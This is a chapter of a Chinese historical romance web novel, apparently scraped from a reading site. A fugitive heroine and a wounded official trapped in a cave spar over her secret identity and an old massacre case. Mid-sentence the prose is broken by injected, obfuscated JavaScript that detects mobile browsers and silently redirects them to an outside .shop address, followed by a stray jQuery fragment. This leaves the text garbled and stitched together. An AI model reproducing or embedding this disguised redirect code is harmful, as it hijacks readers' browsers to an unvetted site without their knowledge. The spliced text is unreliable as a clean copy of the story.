江定安在梦中回到大煜乾元十年,那时她还是一个九岁的孩童,头上梳着飞翘的双翅,穿着暖呼呼的红袄,手里提着小巧的蓝行灯,踱步在自家香号。
香号里的人看见她便会笑眯眯地叫上一声小掌柜,也有人叫她李小娘子。
至于李大娘子便是她的母亲,李家在东官郡有无数间分号,若是母亲恰好在同一间分号,便会蹲下将她抱起,慈爱道:“咱们昭彰来了。”
李昭彰,是她本来的名字。
奇怪的是,今日母亲的声音并不温柔,反而低哑冷硬,好似寒山冷石般令人害怕。
但是她许久没有听见别人唤她李昭彰了,所以尽管“母亲”的声音有些异样,“母亲”的身形好似出奇得高大挺拔,“母亲”的胸膛无比冷硬硌人,她还是选择如儿时那般紧紧地蜷缩在“母亲”的臂弯里。
她感受到自己贴上去时,“母亲”的身体有一瞬间的僵硬。
不知何时,那道冷硬地唤她李昭彰的声音也消失了。
难道“母亲”也忘记了她的名字吗?
她困惑,她不解,凝神思索间陡然闻到一阵浓郁的血腥气,眼前的场景寸寸地皲裂开来,一张张含笑的面容瞬间破碎,隐入一片朦胧诡谲的阴影中,从此再难看清他们的神态表情。
一转眼蓦然见到了青年时的明太守,他束手立在黑压压的武兵面前,身姿挺拔,意气风发,好似一柄正义凛然的巨剑,又或者是一面供人伸冤的鸣冤鼓。
到底是什么不重要了,她看见金鳌洲畔一江河的血......
被母亲推下那片飘着族人血液的血河时,她拼命扑腾,在绝望中抓住了一根浮木——
“李,昭,彰,”江定安还未睁开眼,便听到有人在她耳畔一字一句咬牙切齿地唤着她旧时的名字。
这道声音低沉淡漠,很有些虚弱的意味,不复以往的温柔淡定。
江定安终于认出这是谁的声音,杜筱清伤重至此,竟然自己醒了?口中还唤着她原本的名字。
江定安脑子转得飞快,若是杜筱清死在这里,关于她身世的秘密就没人知道了。
她想到此处,缓缓抬起濡湿的长睫看向杜筱清,映入眼帘的是杜筱清放大版的俊美容颜,甚至可以看到他睫毛上晶莹剔透的水珠,那双粲然明亮的凤眸透着不可逼视的光彩。
陡然察觉到他们之间的距离,感受着杜筱清身上炙热滚烫的温度,她总算明白梦中的大火炉从何而来,连忙伸手推开杜筱清。
面对方才杜筱清的称呼,江定安想起这些日子他种种行径,在对他痛下杀手和让他自生自灭中抉择了一会儿,最终还是选择装傻充愣:“杜长史,你方才唤我什么?我在梦中没听清。”
如果她是杜筱清,绝不会在这种局面下揭穿唯一可以救自己之人的逃犯身世。
杜筱清显然也知道自己的处境有多糟糕,温声道:“没什么,方才我突然想起了一桩最近接手的陈年旧案。”
见他竟敢提起当年那桩旧案,江定安淡道:“什么案子,值得长史在此地也念念不忘?”
不知道现在是什么时辰,洞外一片黑黢黢,就连寡淡的月光也瞧不见半分。
浓郁的黑暗之中看不清杜筱清的面色,只听见他似乎在竭力稳住呼吸,缓慢地道:“一桩让无数人丧命的大案,还未彻底查明,嫌犯一家连同亲眷便葬身鱼腹。”
洞外雨声渐歇,潮湿阴暗的岩洞中充斥着死一般的寂静,只有杜筱清沉稳虚弱的声音回响在其中,“我怀疑,是冤案。”
半响,才听到江定安幽幽的声音:“长史既然怀疑,可曾想过重新调查?为蒙冤枉死之人讨个公道?”
杜筱清道:“天理昭彰,火不侵玉,若我今日未死,必定竭力彻查此案。”
江定安压住喉咙间快要溢出的冷笑,若是杜筱清知道此案的幕后黑手或许就是他的亲生父亲,不知在天理和人情之间,他会如何抉择。
她从不把希望押在旁人身上,何况杜筱清是仇人之子,那就更信不得了。
逞论此人自己坠崖还要拉她下去,便知他性情多变诡谲,说不定从前种种都是装出来的。
她索性抱膝坐在离杜筱清最远的位置上,闭上眼睛不再说话。
杜筱清方才强撑着说了几句话,此刻已然力竭,靠在石壁上轻轻地喘着气。似乎对现在的他来说,呼吸都变得极其艰难。
江定安刚刚睡醒,如今怎么也睡不着了,只好睁开眼,黑暗中不能视物,杜筱清微弱的呼吸声便显得尤为明显。
江定安听着这垂死之人的呼吸,不由地想起了从前溺弊在水中无法呼吸的窒息感,为了转移注意力,便跟他算起旧账来:“杜长史,我也不知林中竟会有埋伏......”
杜筱清没有说话,他似乎虚弱得说不出话了。
事已至此,多说无益,江定安猛地制住话头,改为平静地总结教训:“您以后出行记得提醒武兵提前勘察,千万要杜绝暗处的贼人。还有,您下次坠崖,非得拉个人陪您的话,还是拉个身强体壮的武兵吧。”
“阴曹地府路漫漫,你们可以互相搀扶着走,这样也轻松些。”
听到此处,杜筱清轻笑了一声,胸膛起伏间,伤口上捆着的白布又溢出鲜血,他缓慢道:“江娘子一人陪我便足矣,”
在僻静幽暗的岩洞中,面对生死未卜的明日,彼此不必再委以虚蛇,可以痛痛快快地暴露恶劣的一面,然后像个小孩子一般来回斗嘴,似乎也颇有些趣味。
江定安陡然想起远在东官郡的江怜群,如果杜筱清没了,她还能好好住在郡守府上么?
想起昨夜李夫人借着袖袂遮挡,悄悄放在她手中的纸条,江定安的心又放了下来。
听闻那林家十年前休弃了江怜群后,便忙不迭地纳妾另娶,十年过去,林家竟是不曾添上一儿半女。
可见天道好轮回,报应不爽。
江定安本想等翌日天明雾散,点燃袖中的旗花寻求援助,想必杜筱清带来的武兵会前来搜寻。
再不济,李夫人若是得知她也坠下山崖,必定会派人前来寻找。
她想要闭目养神,又有些不放心,凑近了看十分安静的杜筱清,在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354165|140649||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伸手不见五指的黑暗之中,依稀可以看见他半阖着眼帘,容色惨淡,俊美温润的面庞毫无血色。
那双凤眸闭合时像极了弯弯的蝶翼,眼尾呈现出微挑的弧度,实在是好看极了。
若是他睁着眼,这双凤眸在临窗而下的朦胧月光下,便会流露出盈润如玉的清浅光泽。
提起月光,江定安隐隐觉得自己遗漏了什么,她突然想起丰乐楼那一夜,关于那一夜的记忆犹如浮光掠影一般快速在脑海中闪现。
忽然灵光一闪,捕捉到了其中关键。
照夜!那一夜衔信而来的照夜。
她在山洞醒来时听见了虫声,落雨声,还有隐藏在其中的雀鸣。
山里有雀鸣再正常不过,以至于她忽略了这一点。
若杜筱清真的凭借着照夜联系上武兵,为何不走?
江定安若有所思地望向堆满藤蔓的洞口,她在等丑时雾气退去,杜筱清何尝不是在等待呢?
江定安知道杜筱清已经确定了她的身份来历,但凡他出去后告知官府,甚至连告知官府这道程序也不用,他身为东官郡的兵长史自然有权拘押一个潜逃多年的罪犯。
届时她面临的会是什么,也许是三旬牢冰冷狭窄的地牢,也许是严刑拷打。无论哪种局面都糟糕至极。
但她早已失去了对他再次动手的机会,谁知道在她昏迷的这段时间,杜筱清究竟利用照夜传递了什么信息。
从他坠崖也要拉上她一起这件事来看,杜筱清绝对留了后手,若是他不慎到了阴曹地府,她也得陪着他。正如他方才所说:“有江娘子一人足矣。”
江定安一时只觉杜筱清此人机关算尽,无耻至极,偏偏还不能让他就这样死了。
她只好伸出手,探了探杜筱清的鼻息,还好,还有气。
她从暗囊中掏出药丸,山中多虫蛇,这是她为自己预备的。
江定安挑了风寒药并大补丸,肉痛了一会儿,抬手就要撬开他的牙关给他服药,哪知杜筱清一改虚弱无力的摸样,偏过头去,道:“我已服过药了。”
看来他也早有准备,江定安平静地接受了这个说法,重新将药丸放入袋中。
“你知道今日会遇险?”
杜筱清道:“李夫人来的那一夜,你在窗边烧纸。我猜,是她给你传递了命令。”
江定安明白了,其实杜筱清一直在盯着她,怀疑着她,不曾松懈过半分,所以才对她的一举一动了如指掌。
也是,谁会对世仇之女放松警惕?
若是把她和杜筱清的位置倒换过来,为了自身安全,她根本不会让疑似是世仇遗孤的人有机会接触到自己。
在惜命这一方面来看,杜筱清就不如她。
江定安有些自嘲地想着,她陡然问道:“你还能召唤照夜吗?我想吃烤鸟肉。”
杜筱清自然说不能,不是不能召唤,而是不能吃。
江定安诚然存了些许试探杜筱清的意思,试探不到她也不说什么了,默默咽下一枚大补丸,感受到空荡荡的腹中添了点东西,难耐的饥饿似乎消减了一些。